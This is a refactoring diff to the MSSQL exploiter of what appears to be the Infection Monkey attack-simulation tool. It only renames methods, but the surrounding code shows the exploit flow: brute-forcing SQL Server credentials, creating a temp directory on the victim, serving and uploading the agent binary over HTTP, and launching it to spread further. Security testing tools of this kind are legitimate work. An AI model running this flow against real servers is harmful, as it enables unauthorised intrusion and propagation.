diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index 7dbb190a1..700891c8f 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -58,7 +58,7 @@ class MSSQLExploiter(HostExploiter):
             self.options["credentials"]["exploit_password_list"],
         )
         try:
-            self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
+            self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
         except FailedExploitationError:
             logger.info(
                 f"Failed brute-forcing of MSSQL server on {self.host},"
@@ -72,15 +72,15 @@ class MSSQLExploiter(HostExploiter):
 
         try:
             # Create dir for payload
-            self.create_temp_dir()
+            self._create_temp_dir()
 
-            http_thread = self.start_monkey_server(monkey_path_on_victim)
-            self.upload_monkey(monkey_path_on_victim)
+            http_thread = self._start_monkey_server(monkey_path_on_victim)
+            self._upload_monkey(monkey_path_on_victim)
             MSSQLExploiter._stop_monkey_server(http_thread)
 
             self.run_monkey(monkey_path_on_victim)
 
-            self.remove_temp_dir()
+            self._remove_temp_dir()
         except Exception as e:
             error_message = (
                 f"An unexpected error occurred when trying "
@@ -95,13 +95,13 @@ class MSSQLExploiter(HostExploiter):
         self.exploit_result.propagation_success = True
         return self.exploit_result
 
-    def create_temp_dir(self):
+    def _create_temp_dir(self):
         logger.debug(f"Creating a temporary directory: {MSSQLExploiter.TMP_DIR_PATH}")
 
         mkdir_command = f"mkdir {MSSQLExploiter.TMP_DIR_PATH}"
         self._run_mssql_command(mkdir_command)
 
-    def upload_monkey(self, monkey_path_on_victim: PureWindowsPath):
+    def _upload_monkey(self, monkey_path_on_victim: PureWindowsPath):
         self._write_download_command_to_batch_file(monkey_path_on_victim)
         self.run_payload_file()
 
@@ -131,21 +131,21 @@ class MSSQLExploiter(HostExploiter):
         self.run_payload_file()
 
     def _write_agent_launch_command_to_batch_file(self, monkey_path_on_victim):
-        agent_launch_command = self.get_monkey_launch_command(monkey_path_on_victim)
+        agent_launch_command = self._get_monkey_launch_command(monkey_path_on_victim)
         self._write_command_to_batch_file(agent_launch_command)
 
-    def get_monkey_launch_command(self, monkey_path_on_victim: PureWindowsPath):
+    def _get_monkey_launch_command(self, monkey_path_on_victim: PureWindowsPath):
         monkey_args = build_monkey_commandline(
             self.host, self.current_depth - 1, monkey_path_on_victim
         )
 
         return f"{monkey_path_on_victim} {DROPPER_ARG} {monkey_args}"
 
-    def remove_temp_dir(self):
+    def _remove_temp_dir(self):
         self._run_mssql_command(f"del {self.payload_file_path}")
         self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}")
 
-    def start_monkey_server(self, monkey_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
+    def _start_monkey_server(self, monkey_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
         self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
             self.host, str(monkey_path_on_victim), self.agent_repository
         )
@@ -156,7 +156,7 @@ class MSSQLExploiter(HostExploiter):
         http_thread.stop()
         http_thread.join(LONG_REQUEST_TIMEOUT)
 
-    def brute_force(self, host, port, users_passwords_pairs_list):
+    def _brute_force(self, host, port, users_passwords_pairs_list):
         """
         Starts the brute force connection attempts and if needed then init the payload process.
         Main loop starts here.